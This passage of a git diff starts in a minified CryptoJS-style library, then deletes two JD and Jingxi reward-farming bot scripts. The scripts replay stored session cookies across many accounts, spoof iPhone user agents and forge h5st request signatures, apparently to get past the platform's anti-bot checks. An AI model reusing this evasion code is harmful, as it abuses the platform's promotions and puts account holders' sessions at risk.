this._mode.__creator == i ? this._mode.init(this, r && r.words) : (this._mode = i.call(e, this, r && r.words), this._mode.__creator = i) }, _doProcessBlock: function (t, r) { this._mode.processBlock(t, r) }, _doFinalize: function () { var t = this.cfg.padding; if (this._xformMode == this._ENC_XFORM_MODE) { t.pad(this._data, this.blockSize); var r = this._process(!0) } else { var r = this._process(!0); t.unpad(r) } return r }, blockSize: 4 }), i.CipherParams = n.extend({ init: function (t) { this.mixIn(t) }, toString: function (t) { return (t || this.formatter).stringify(this) } })), g = e.format = {}, B = g.OpenSSL = { stringify: function (t) { var r = t.ciphertext, e = t.salt; if (e) var i = o.create([1398893684, 1701076831]).concat(e).concat(r); else var i = r; return i.toString(c) }, parse: function (t) { var r = c.parse(t), e = r.words; if (1398893684 == e[0] && 1701076831 == e[1]) { var i = o.create(e.slice(2, 4)); e.splice(0, 4), r.sigBytes -= 16 } return y.create({ ciphertext: r, salt: i }) } }, w = i.SerializableCipher = n.extend({ cfg: n.extend({ format: B }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = t.createEncryptor(e, i), o = n.finalize(r), s = n.cfg; return y.create({ ciphertext: o, key: e, iv: s.iv, algorithm: t, mode: s.mode, padding: s.padding, blockSize: t.blockSize, formatter: i.format }) }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = t.createDecryptor(e, i).finalize(r.ciphertext); return n }, _parse: function (t, r) { return "string" == typeof t ? r.parse(t, this) : t } }), k = e.kdf = {}, S = k.OpenSSL = { execute: function (t, r, e, i) { i || (i = o.random(8)); var n = l.create({ keySize: r + e }).compute(t, i), s = o.create(n.words.slice(r), 4 * e); return n.sigBytes = 4 * r, y.create({ key: n, iv: s, salt: i }) } }, m = i.PasswordBasedCipher = w.extend({ cfg: w.cfg.extend({ kdf: S }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = i.kdf.execute(e, t.keySize, t.ivSize); i.iv = n.iv; var o = w.encrypt.call(this, t, r, n.key, i); return o.mixIn(n), o }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = i.kdf.execute(e, t.keySize, t.ivSize, r.salt); i.iv = n.iv; var o = w.decrypt.call(this, t, r, n.key, i); return o } }) }(), t.mode.CFB = function () { function r(t, r, e, i) { var n = this._iv; if (n) { var o = n.slice(0); this._iv = void 0 } else var o = this._prevBlock; i.encryptBlock(o, 0); for (var s = 0; s < e; s++)t[r + s] ^= o[s] } var e = t.lib.BlockCipherMode.extend(); return e.Encryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize; r.call(this, t, e, n, i), this._prevBlock = t.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize, o = t.slice(e, e + n); r.call(this, t, e, n, i), this._prevBlock = o } }), e }(), t.mode.ECB = function () { var r = t.lib.BlockCipherMode.extend(); return r.Encryptor = r.extend({ processBlock: function (t, r) { this._cipher.encryptBlock(t, r) } }), r.Decryptor = r.extend({ processBlock: function (t, r) { this._cipher.decryptBlock(t, r) } }), r }(), t.pad.AnsiX923 = { pad: function (t, r) { var e = t.sigBytes, i = 4 * r, n = i - e % i, o = e + n - 1; t.clamp(), t.words[o >>> 2] |= n << 24 - o % 4 * 8, t.sigBytes += n }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso10126 = { pad: function (r, e) { var i = 4 * e, n = i - r.sigBytes % i; r.concat(t.lib.WordArray.random(n - 1)).concat(t.lib.WordArray.create([n << 24], 1)) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso97971 = { pad: function (r, e) { r.concat(t.lib.WordArray.create([2147483648], 1)), t.pad.ZeroPadding.pad(r, e) }, unpad: function (r) { t.pad.ZeroPadding.unpad(r), r.sigBytes-- } }, t.mode.OFB = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._keystream; n && (o = this._keystream = n.slice(0), this._iv = void 0), e.encryptBlock(o, 0); for (var s = 0; s < i; s++)t[r + s] ^= o[s] } }); return r.Decryptor = e, r }(), t.pad.NoPadding = { pad: function () { }, unpad: function () { } }, function (r) { var e = t, i = e.lib, n = i.CipherParams, o = e.enc, s = o.Hex, a = e.format; a.Hex = { stringify: function (t) { return t.ciphertext.toString(s) }, parse: function (t) { var r = s.parse(t); return n.create({ ciphertext: r }) } } }(), function () { var r = t, e = r.lib, i = e.BlockCipher, n = r.algo, o = [], s = [], a = [], c = [], h = [], l = [], f = [], u = [], d = [], v = []; !function () { for (var t = [], r = 0; r < 256; r++)r < 128 ? t[r] = r << 1 : t[r] = r << 1 ^ 283; for (var e = 0, i = 0, r = 0; r < 256; r++) { var n = i ^ i << 1 ^ i << 2 ^ i << 3 ^ i << 4; n = n >>> 8 ^ 255 & n ^ 99, o[e] = n, s[n] = e; var p = t[e], _ = t[p], y = t[_], g = 257 * t[n] ^ 16843008 * n; a[e] = g << 24 | g >>> 8, c[e] = g << 16 | g >>> 16, h[e] = g << 8 | g >>> 24, l[e] = g; var g = 16843009 * y ^ 65537 * _ ^ 257 * p ^ 16843008 * e; f[n] = g << 24 | g >>> 8, u[n] = g << 16 | g >>> 16, d[n] = g << 8 | g >>> 24, v[n] = g, e ? (e = p ^ t[t[t[y ^ p]]], i ^= t[t[i]]) : e = i = 1 } }(); var p = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54], _ = n.AES = i.extend({ _doReset: function () { if (!this._nRounds || this._keyPriorReset !== this._key) { for (var t = this._keyPriorReset = this._key, r = t.words, e = t.sigBytes / 4, i = this._nRounds = e + 6, n = 4 * (i + 1), s = this._keySchedule = [], a = 0; a < n; a++)if (a < e) s[a] = r[a]; else { var c = s[a - 1]; a % e ? e > 6 && a % e == 4 && (c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c]) : (c = c << 8 | c >>> 24, c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c], c ^= p[a / e | 0] << 24), s[a] = s[a - e] ^ c } for (var h = this._invKeySchedule = [], l = 0; l < n; l++) { var a = n - l; if (l % 4) var c = s[a]; else var c = s[a - 4]; l < 4 || a <= 4 ? h[l] = c : h[l] = f[o[c >>> 24]] ^ u[o[c >>> 16 & 255]] ^ d[o[c >>> 8 & 255]] ^ v[o[255 & c]] } } }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._keySchedule, a, c, h, l, o) }, decryptBlock: function (t, r) { var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e, this._doCryptBlock(t, r, this._invKeySchedule, f, u, d, v, s); var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e }, _doCryptBlock: function (t, r, e, i, n, o, s, a) { for (var c = this._nRounds, h = t[r] ^ e[0], l = t[r + 1] ^ e[1], f = t[r + 2] ^ e[2], u = t[r + 3] ^ e[3], d = 4, v = 1; v < c; v++) { var p = i[h >>> 24] ^ n[l >>> 16 & 255] ^ o[f >>> 8 & 255] ^ s[255 & u] ^ e[d++], _ = i[l >>> 24] ^ n[f >>> 16 & 255] ^ o[u >>> 8 & 255] ^ s[255 & h] ^ e[d++], y = i[f >>> 24] ^ n[u >>> 16 & 255] ^ o[h >>> 8 & 255] ^ s[255 & l] ^ e[d++], g = i[u >>> 24] ^ n[h >>> 16 & 255] ^ o[l >>> 8 & 255] ^ s[255 & f] ^ e[d++]; h = p, l = _, f = y, u = g } var p = (a[h >>> 24] << 24 | a[l >>> 16 & 255] << 16 | a[f >>> 8 & 255] << 8 | a[255 & u]) ^ e[d++], _ = (a[l >>> 24] << 24 | a[f >>> 16 & 255] << 16 | a[u >>> 8 & 255] << 8 | a[255 & h]) ^ e[d++], y = (a[f >>> 24] << 24 | a[u >>> 16 & 255] << 16 | a[h >>> 8 & 255] << 8 | a[255 & l]) ^ e[d++], g = (a[u >>> 24] << 24 | a[h >>> 16 & 255] << 16 | a[l >>> 8 & 255] << 8 | a[255 & f]) ^ e[d++]; t[r] = p, t[r + 1] = _, t[r + 2] = y, t[r + 3] = g }, keySize: 8 }); r.AES = i._createHelper(_) }(), function () { diff --git a/fruit.ts b/fruit.ts deleted file mode 100644 index 5ebe96960..000000000 --- a/fruit.ts +++ /dev/null @@ -1,318 +0,0 @@ -import {sendNotify} from './sendNotify'; -import USER_AGENT, {get, getShareCodePool, o2s, requireConfig, wait} from './TS_USER_AGENTS' -import {H5ST} from "./utils/h5st"; - -let cookie: string = '', res: any = '', data: any, UserName: string -let shareCodeSelf: string[] = [], shareCodePool: string[] = [], shareCode: string[] = [], shareCodeFile: object = require('./jdFruitShareCodes') -let message: string = '', h5stTool: H5ST = new H5ST("0c010", USER_AGENT, "8389547038003203") - -!(async () => { - let cookiesArr: string[] = await requireConfig() - for (let [index, value] of cookiesArr.entries()) { - cookie = value - UserName = decodeURIComponent(cookie.match(/pt_pin=([^;]*)/)![1]) - console.log(`\n开始【京东账号${index + 1}】${UserName}\n`) - message += `【账号${index + 1}】 ${UserName}\n` - await h5stTool.__genAlgo() - - try { - if (Object.keys(shareCodeFile)[index]) { - shareCodeSelf = shareCodeFile[Object.keys(shareCodeFile)[index]].split('@') - } - console.log(`第${index + 1}个账号获取的内部互助`, shareCodeSelf) - - // 初始化 - res = await api('initForFarm', {"version": 11, "channel": 3}) - o2s(res) - - if (res.code === '6') { - console.log('黑号') - await wait(5000) - continue - } - await wait(1000) - if (res.todayGotWaterGoalTask.canPop) { - data = await api('gotWaterGoalTaskForFarm', {"type": 3, "version": 14, "channel": 1, "babelChannel": "120"}) - o2s(data) - console.log("弹窗获得水滴", data.addEnergy) - } - o2s(res, 'initForFarm') - let totalEnergy: number = res.farmUserPro.totalEnergy // 背包剩余水滴 - if (res.farmUserPro.treeState === 2) { - console.log("可以兑换奖品了") - await sendNotify("东东农场", `账号${index + 1} ${UserName}\n\n已成熟`) - } else if (res.farmUserPro.treeState === 0) { - console.log("自动种植") - } - - // 添加好友 - - - // 删除好友 - res = await api('friendListInitForFarm', {"lastId": null, "version": 14, "channel": 1, "babelChannel": "120"}) - await wait(1000) - if (!res.newFriendMsg) { - for (let fr of res.friends) { - res = await api('deleteFriendForFarm', {"shareCode": fr.shareCode, "version": 14, "channel": 1, "babelChannel": "121"}) - await wait(1000) - if (res.code === '0') { - console.log(`删除好友${fr.nickName}成功`) - } else { - console.log(`删除好友${fr.nickName}失败`) - break - } - } - } - - // 背包 - // process.env.jdFruitBeanCard = 'True' - // if (process.env.jdFruitBeanCard.toLowerCase() === 'true') { - // res = await api('myCardInfoForFarm', {"version": 14, "channel": 3, "babelChannel": "10"}) - // o2s(res, 'myCardInfoForFarm') - // let beanCard: number = res.beanCard // 换豆卡 - // console.log('换豆卡数量', beanCard) - // for (let i = 0; i < 10; i++) { - // if (totalEnergy >= 100 && beanCard) { - // data = await api('userMyCardForFarm', {"cardType": "beanCard", "babelChannel": "10", "channel": 3, "version": 14}) - // console.log('使用水滴换豆卡,获得京豆', data.beanCount) - // totalEnergy -= 100 - // beanCard-- - // await wait(1000) - // } - // } - // } else { - // console.log('未设置水滴换豆卡环境变量') - // } - - - // 好友邀请奖励 - res = await api('friendListInitForFarm', {"lastId": null, "version": 14, "channel": 1, "babelChannel": "120"}) - o2s(res, 'friendListInitForFarm') - let friendList: any[] = res.friends - if (res.inviteFriendCount > res.inviteFriendGotAwardCount) { - data = await api('awardInviteFriendForFarm', {}) - await wait(1000) - o2s(data, '好友邀请奖励') - } - - // 给好友浇水 - res = await api('taskInitForFarm', {"version": 14, "channel": 1, "babelChannel": "120"}) - o2s(res, 'taskInitForFarm') - await wait(1000) - console.log(`今日已给${res.waterFriendTaskInit.waterFriendCountKey}个好友浇水`); - if (res.waterFriendTaskInit.waterFriendCountKey < res.waterFriendTaskInit.waterFriendMax) { - for (let i = res.waterFriendTaskInit.waterFriendCountKey; i < res.waterFriendTaskInit.waterFriendMax; i++) { - for (let fr of friendList) { - if (fr.friendState === 1) { - data = await api('waterFriendForFarm', {"shareCode": fr.shareCode, "version": 14, "channel": 1, "babelChannel": "120"}) - if (data.code === '0') - console.log(`给好友${fr.nickName}浇水成功`) - if (data.cardInfo) { - console.log('获得卡片') - } - await wait(2000) - break - } - } - } - } else if (res.waterFriendTaskInit.waterFriendCountKey === res.waterFriendTaskInit.waterFriendMax && !res.waterFriendTaskInit.waterFriendGotAward) { - data = await api('waterFriendGotAwardForFarm', {"version": 14, "channel": 1, "babelChannel": "120"}) - console.log('给好友浇水奖励', data.addWater) - await wait(1000) - } - - // 签到 - res = await api('clockInInitForFarm', {"timestamp": Date.now(), "version": 14, "channel": 1, "babelChannel": "120"}) - await wait(1000) - if (!res.todaySigned) { - data = await api('clockInForFarm', {"type": 1, "version": 14, "channel": 1, "babelChannel": "120"}) - if (data.signDay === 7) { - // data = await api('gotClockInGift', {"type": 2, "version": 14, "channel": 1, "babelChannel": "120"}) - // o2s(data, 'gotClockInGift') - // await wait(1000) - } - await wait(1000) - } - - res = await api('clockInInitForFarm', {"timestamp": Date.now(), "version": 14, "channel": 1, "babelChannel": "120"}) - for (let t of res.themes || []) { - if (!t.hadGot) { - console.log('关注', t.name) - res = await api('clockInFollowForFarm', {"id": t.id, "type": "theme", "step": 1, "version": 14, "channel": 1, "babelChannel": "120"}) - await wait(5000) - res = await api('clockInFollowForFarm', {"id": t.id, "type": "theme", "step": 2, "version": 14, "channel": 1, "babelChannel": "120"}) - console.log('获得水滴', res.amount) - } - } - - // 任务 - res = await api('taskInitForFarm', {"version": 14, "channel": 1, "babelChannel": "120"}) - o2s(res) - if (res.signInit.todaySigned) { - console.log(`今天已签到,已经连续签到${res.signInit.totalSigned}天,下次签到可得${res.signInit.signEnergyEachAmount}g`); - } else { - data = await api('signForFarm', {"version": 14, "channel": 1, "babelChannel": "120"}) - o2s(data, 'signForFarm') - - console.log('签到成功', data.amount) - await wait(1000) - } - - if (!res.gotBrowseTaskAdInit.f) { - for (let t of res.gotBrowseTaskAdInit.userBrowseTaskAds) { - if (t.hadFinishedTimes !== t.limit) { - data = await api('browseAdTaskForFarm', {"advertId": t.advertId, "type": 0, "version": 14, "channel": 1, "babelChannel": "120"}) - o2s(data, 'browseAdTaskForFarm') - await wait(t.time * 1000 || 1000) - data = await api('browseAdTaskForFarm', {"advertId": t.advertId, "type": 1, "version": 14, "channel": 1, "babelChannel": "120"}) - console.log('任务完成,获得', data.amount) - } - await wait(1000) - } - } - - if (!res.gotThreeMealInit.f) { - if (![10, 15, 16, 22, 23].includes(new Date().getHours())) { - data = await api('gotThreeMealForFarm', {"version": 14, "channel": 1, "babelChannel": "120"}) - if (data.code === '0') { - console.log('定时奖励成功', data.amount) - } - await wait(1000) - } - } - - if (!res.waterRainInit.f) { - if (Date.now < res.waterRainInit.lastTime + 3 * 60 * 60 * 1000) { - data = await api('waterRainForFarm', {"type": 1, "hongBaoTimes": 100, "version": 3}) - o2s(data, 'waterRainForFarm') - if (data.code === '0') { - console.log('获得水滴', data.addEnergy) - } - } - } - - if (!res.firstWaterInit.f && res.firstWaterInit.totalWaterTimes !== 0) { - data = await api('firstWaterTaskForFarm', {"version": 14, "channel": 1, "babelChannel": "120"}) - console.log('firstWaterTaskForFarm', data.amount) - } - - // 红包 - res = await api('initForTurntableFarm', {"version": 4, "channel": 1}) - o2s(res, 'initForTurntableFarm') - for (let t of res.turntableBrowserAds) { - if (!t.status) { - console.log("browserForTurntableFarm", t.main) - data = await api('browserForTurntableFarm', {"type": 1, "adId": t.adId, "version": 4, "channel": 1}) - await wait(t.browserTimes * 1000 || 1000) - data = await api('browserForTurntableFarm', {"type": 2, "adId": t.adId, "version": 4, "channel": 1}) - } - } - - if (!res.timingGotStatus && res.remainLotteryTimes) { - if (Date.now() > (res.timingLastSysTime + 60 * 60 * res.timingIntervalHours * 1000)) { - data = await api('timingAwardForTurntableFarm', {"version": 4, "channel": 1}) - await wait(1000) - o2s(data, 'timingAwardForTurntableFarm') - } else { - console.log(`免费赠送的抽奖机会未到时间`) - } - } - - // 天天红包助力 - shareCodePool = await getShareCodePool('farm', 30) - shareCode = Array.from(new Set([...shareCodeSelf, ...shareCodePool])) - for (let code of shareCodeSelf) { - console.log('去红包助力', code) - data = await api('initForFarm', {"shareCode": `${code}-3`, "lng": "0.000000", "lat": "0.000000", "sid": "2871ac0252645ef0e2731aa7d03c1d3w", "un_area": "16_1341_1347_44750", "version": 14, "channel": 1, "babelChannel": 0}) - await wait(3000) - if (data.code === '0') { - console.log('红包助力成功') - } else if (data.code === '11') { - console.log('红包已助力过') - } else if (data.code === '13') { - console.log('上限') - break - } - } - - // 抽奖 - for (let i = 0; i < res.remainLotteryTimes; i++) { - data = await api('lotteryForTurntableFarm', {"type": 1, "version": 4, "channel": 1}) - if (data.type === 'thanks') { - console.log('抽奖获得 空气') - } else { - console.log('抽奖获得', data.type) - } - await wait(2000) - } - - // 助力 - shareCodePool = await getShareCodePool('farm', 30) - shareCode = Array.from(new Set([...shareCodeSelf, ...shareCodePool])) - for (let code of shareCodeSelf) { - console.log('去助力', code) - res = await api('initForFarm', {"mpin": "", "utm_campaign": "t_335139774", "utm_medium": "appshare", "shareCode": code, "utm_term": "Wxfriends", "utm_source": "iosapp", "imageUrl": "", "nickName": "", "version": 14, "channel": 2, "babelChannel": 0}) - await wait(6000) - o2s(res, '助力') - if (res.helpResult.code === '7') { - console.log('不给自己助力') - } else if (res.helpResult.code === '0') { - console.log('助力成功,获得', res.helpResult.salveHelpAddWater) - } else if (res.helpResult.code === '8') { - console.log('上限') - break - } else if (res.helpResult.code === '9') { - console.log('已助力') - } else if (res.helpResult.code === '10') { - console.log('已满') - } else if (res.helpResult.remainTimes === 0) { - console.log('次数用完') - break - } - } - // 助力奖励 - res = await api('farmAssistInit', {"version": 14, "channel": 1, "babelChannel": "120"}) - await wait(1000) - o2s(res, 'farmAssistInit') - let farmAssistInit_waterEnergy: number = 0 - for (let t of res.assistStageList) { - if (t.percentage === '100%' && t.stageStaus === 2) { - data = await api('receiveStageEnergy', {"version": 14, "channel": 1, "babelChannel": "120"}) - await wait(1000) - farmAssistInit_waterEnergy += t.waterEnergy - } else if (t.stageStaus === 3) { - farmAssistInit_waterEnergy += t.waterEnergy - } - } - console.log('收到助力', res.assistFriendList.length) - console.log('助力已领取', farmAssistInit_waterEnergy) - message += `【助力已领取】 ${farmAssistInit_waterEnergy}\n` - - message += '\n\n' - } catch (e) { - console.log(e) - } finally { - await wait(5000) - } - } - if (message) - await sendNotify('东东农场', message) -})() - -async function api(fn: string, body: object) { - let h5st: string = h5stTool.__genH5st({ - 'appid': 'wh5', - 'body': JSON.stringify(body), - 'client': 'apple', - 'clientVersion': '10.2.4', - 'functionId': fn, - }) - return await get(`https://api.m.jd.com/client.action?functionId=${fn}&body=${JSON.stringify(body)}&appid=wh5&client=apple&clientVersion=10.2.4&h5st=${h5st}`, { - "Host": "api.m.jd.com", - "Origin": "https://carry.m.jd.com", - "User-Agent": USER_AGENT, - "Accept-Language": "zh-CN,zh-Hans;q=0.9", - "Referer": "https://carry.m.jd.com/", - "Cookie": cookie - }) -} \ No newline at end of file diff --git a/gua_wealth_island.js b/gua_wealth_island.js deleted file mode 100644 index 56f2ff8c4..000000000 --- a/gua_wealth_island.js +++ /dev/null @@ -1,1394 +0,0 @@ -/* - https://st.jingxi.com/fortune_island/index2.html - - 33 0,6-23/2 * * * https://raw.githubusercontent.com/smiek2121/scripts/master/gua_wealth_island.js 财富大陆 - -*/ - -const $ = new Env('京喜财富岛'); -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -// const notify = $.isNode() ? require('./sendNotify') : ''; -CryptoScripts() -$.CryptoJS = $.isNode() ? require('crypto-js') : CryptoJS; -let UA = `jdpingou;iPhone;5.2.2;14.3;${randomString(40)};network/wifi;model/iPhone12,1;appBuild/100630;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/0;hasOCPay/0;supportBestPay/0;session/1;pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148` -function randomString(e) { - e = e || 32; - let t = "abcdef0123456789", a = t.length, n = ""; - for (i = 0; i < e; i++) - n += t.charAt(Math.floor(Math.random() * a)); - return n -} -$.InviteList = [] -$.innerInviteList = []; -const HelpAuthorFlag = true;//是否助力作者SH true 助力,false 不助力 - -// 热气球接客 每次运行接客次数 -let serviceNum = 10;// 每次运行接客次数 -if ($.isNode() && process.env.gua_wealth_island_serviceNum) { - serviceNum = Number(process.env.gua_wealth_island_serviceNum); -} - -let cookiesArr = [], cookie = ''; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} - -$.appId = 10032; - -!(async () => { - if (!cookiesArr[0]) { - $.msg('【京东账号一】宠汪汪积分兑换奖品失败', '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - return - } - console.log(`\n -想要我的财富吗 -我把它放在一个神奇的岛屿 -去找吧 -`) - $.pearlEnd = false - await requestAlgo(); - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - $.cookie = cookiesArr[i] + ''; - $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - console.log(`\n*****开始【京东账号${$.index}】${$.UserName}****\n`); - UA = `jdpingou;iPhone;5.2.2;14.3;${randomString(40)};network/wifi;model/iPhone12,1;appBuild/100630;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/0;hasOCPay/0;supportBestPay/0;session/1;pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148` - await run(); - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }).finally(() => { - $.done(); - }) -async function run() { - try{ - $.HomeInfo = '' - $.LeadInfo = '' - $.buildList = '' - $.Fund = '' - $.task = [] - $.Biztask = [] - $.Aggrtask = [] - $.Employtask = [] - - await GetHomePageInfo() - - if($.HomeInfo){ - $.InviteList.push($.HomeInfo.strMyShareId) - console.log(`等级:${$.HomeInfo.dwLandLvl} 当前金币:${addChineseUnit($.HomeInfo.ddwCoinBalance, 4)} 当前财富:${addChineseUnit($.HomeInfo.ddwRichBalance, 4)} 助力码:${$.HomeInfo.strMyShareId}`) - } - if($.LeadInfo && $.LeadInfo.dwLeadType == 2){ - await $.wait(2000) - console.log(`\n新手引导`) - await noviceTask() - await GetHomePageInfo() - await $.wait(1000) - } - // 寻宝 - await XBDetail() - // 加速卡 - await GetProp() - // 故事会 - await StoryInfo() - // 建筑升级 - await buildList() - // 签到 邀请奖励 - await sign() - // 签到-小程序 - await signs() - // 捡垃圾 - await pickshell(1) - // 热气球接客 - // await service(serviceNum) - // 倒垃圾 - await RubbishOper() - // 导游 - await Guide() - // 撸珍珠 - if (!$.pearlEnd) await Pearl() - // 牛牛任务 - await ActTask() - // 日常任务、成就任务 - await UserTask() - - } - catch (e) { - console.log(e); - } -} -async function GetHomePageInfo() { - let e = getJxAppToken() - let additional= `&strPgtimestamp=${e.strPgtimestamp}&strPhoneID=${e.strPhoneID}&strPgUUNum=${e.strPgUUNum}&ddwTaskId=&strShareId=&strMarkList=guider_step%2Ccollect_coin_auth%2Cguider_medal%2Cguider_over_flag%2Cbuild_food_full%2Cbuild_sea_full%2Cbuild_shop_full%2Cbuild_fun_full%2Cmedal_guider_show%2Cguide_guider_show%2Cguide_receive_vistor%2Cdaily_task%2Cguider_daily_task%2Ccfd_has_show_selef_point` - let stk= `_cfd_t,bizCode,ddwTaskId,dwEnv,ptag,source,strMarkList,strPgUUNum,strPgtimestamp,strPhoneID,strShareId,strVersion,strZone` - $.HomeInfo = await taskGet(`user/QueryUserInfo`, stk, additional) - if($.HomeInfo){ - $.Fund = $.HomeInfo.Fund || '' - $.LeadInfo = $.HomeInfo.LeadInfo || '' - $.buildInfo = $.HomeInfo.buildInfo || '' - $.XbStatus = $.HomeInfo.XbStatus || [] - if($.buildInfo.buildList){ - $.buildList = $.buildInfo.buildList || '' - } - } -} -// 寻宝 -async function XBDetail(){ - try{ - let XBDetail = $.XbStatus.XBDetail.filter((x) => x.dwRemainCnt !== 0 && x.ddwColdEndTm <= parseInt(Date.now()/1000,10)) - if(XBDetail.length > 0){ - console.log(`\n开始寻宝`) - for(let k of XBDetail || []){ - if(k.ddwColdEndTm <= parseInt(Date.now()/1000,10)){ - await $.wait(2000) - let res = await taskGet(`user/TreasureHunt`, '_cfd_t,bizCode,dwEnv,ptag,source,strIndex,strZone', `&strIndex=${k.strIndex}`) - if(res && res.iRet == 0){ - if (res.AwardInfo.dwAwardType === 0) { - console.log(`${res.strAwardDesc},获得 ${addChineseUnit(res.AwardInfo.ddwValue, 4)} 金币`) - } else if (res.AwardInfo.dwAwardType === 1) { - console.log(`${res.strAwardDesc},获得 ${res.AwardInfo.ddwValue} 财富`) - } else { - console.log("寻宝失败\n"+$.toObj(res,res)) - } - }else if(res && res.sErrMsg){ - console.log(`寻宝失败 ${res.sErrMsg}`) - }else{ - console.log("寻宝失败\n"+$.toObj(res,res)) - } - } - } - }else{ - console.log('\n暂无宝物') - } - }catch (e) { - $.logErr(e); - } -} -// 加速卡任务 -async function GetProp(){ - try{ - console.log('\n加速卡任务') - await $.wait(2000) - $.propTask = await taskGet(`story/GetPropTask`, '_cfd_t,bizCode,dwEnv,ptag,source,strZone', '&ptag=') - if($.propTask && $.propTask.Data && $.propTask.Data.TaskList){ - for(let t of $.propTask.Data.TaskList || []){ - let res = '' - if(t.dwCompleteNum < t.dwTargetNum){ - if([9,11].includes(t.dwPointType)) continue - res = await taskGet('DoTask2', '_cfd_t,bizCode,configExtra,dwEnv,ptag,source,strZone,taskId', `&ptag=&taskId=${t.ddwTaskId}&configExtra=`) - if (res.ret === 0) { - console.log(`[${t.strTaskName}]加速卡任务完成`) - } else { - console.log(`[${t.strTaskName}]加速卡任务失败`, $.toStr(res,res)) - await $.wait(2000) - continue - } - await $.wait(2000) - } - if(t.dwAwardStatus == 2){ - res = await taskGet('Award2', '_cfd_t,bizCode,dwEnv,ptag,source,strZone,taskId', `&ptag=&taskId=${t.ddwTaskId}`) - if (res.ret === 0) { - console.log(`[${t.strTaskName}]加速卡领取成功`) - if(res.data.prizeInfo){ - let task = $.toObj(res.data.prizeInfo,res.data.prizeInfo) - let msg = [] - for(let card of task.CardInfo.CardList || []){ - msg.push(card.strCardName) - } - console.log(`获得[${msg.join(',')}]加速卡`) - } - } else { - console.log(`[${t.strTaskName}]加速卡领取失败`, $.toStr(res,res)) - await $.wait(2000) - continue - } - await $.wait(2000) - } - } - } - await $.wait(2000) - $.propInfo = await taskGet(`user/GetPropCardCenterInfo`, '_cfd_t,bizCode,dwEnv,ptag,source,strZone', '&ptag=') - console.log('\n加速卡使用') - if($.propInfo && $.propInfo.cardInfo){ - let flag = $.propInfo.cardInfo.dwWorkingType || 0 - let res = '' - for (let card of $.propInfo.cardInfo.coincard || []) { - if(card.ddwCardTargetTm > 0 ) console.log(`[金币卡]结束时间:${$.time('yyyy-MM-dd HH:mm:ss',card.ddwCardTargetTm*1000)}`) - // if(flag == 1 || flag == 3) break - if (card.dwCardNums !== 0 && (flag == 0 || flag == 2)) { - res = await taskGet('user/UsePropCard', '_cfd_t,bizCode,dwCardType,dwEnv,ptag,source,strCardTypeIndex,strZone', `&ptag=&dwCardType=1&strCardTypeIndex=${encodeURIComponent(card.strCardTypeIndex)}`) - if (res.iRet === 0) { - console.log(`[${card.strCardName}]金币卡使用成功`) - if(res.ddwCardTargetTm > 0 ) console.log(`[金币卡]结束时间:${$.time('yyyy-MM-dd HH:mm:ss',res.ddwCardTargetTm*1000)}`) - flag += 1 - } else { - console.log(`[${card.strCardName}]金币卡使用失败`, $.toStr(res,res)) - } - await $.wait(2000) - } - } - for (let card of $.propInfo.cardInfo.richcard || []) { - if(card.ddwCardTargetTm > 0 ) console.log(`[财富卡]结束时间:${$.time('yyyy-MM-dd HH:mm:ss',card.ddwCardTargetTm*1000)}`) - // if(flag == 2 || flag == 3) break - if (card.dwCardNums !== 0 && (flag == 0 || flag == 1)) { - res = await taskGet('user/UsePropCard', '_cfd_t,bizCode,dwCardType,dwEnv,ptag,source,strCardTypeIndex,strZone', `&ptag=&dwCardType=2&strCardTypeIndex=${encodeURIComponent(card.strCardTypeIndex)}`) - if (res.iRet === 0) { - console.log(`[${card.strCardName}]财富卡使用成功`) - if(res.ddwCardTargetTm > 0 ) console.log(`[财富卡]结束时间:${$.time('yyyy-MM-dd HH:mm:ss',res.ddwCardTargetTm*1000)}`) - flag += 2 - } else { - console.log(`[${card.strCardName}]财富卡使用失败`, $.toStr(res,res)) - } - await 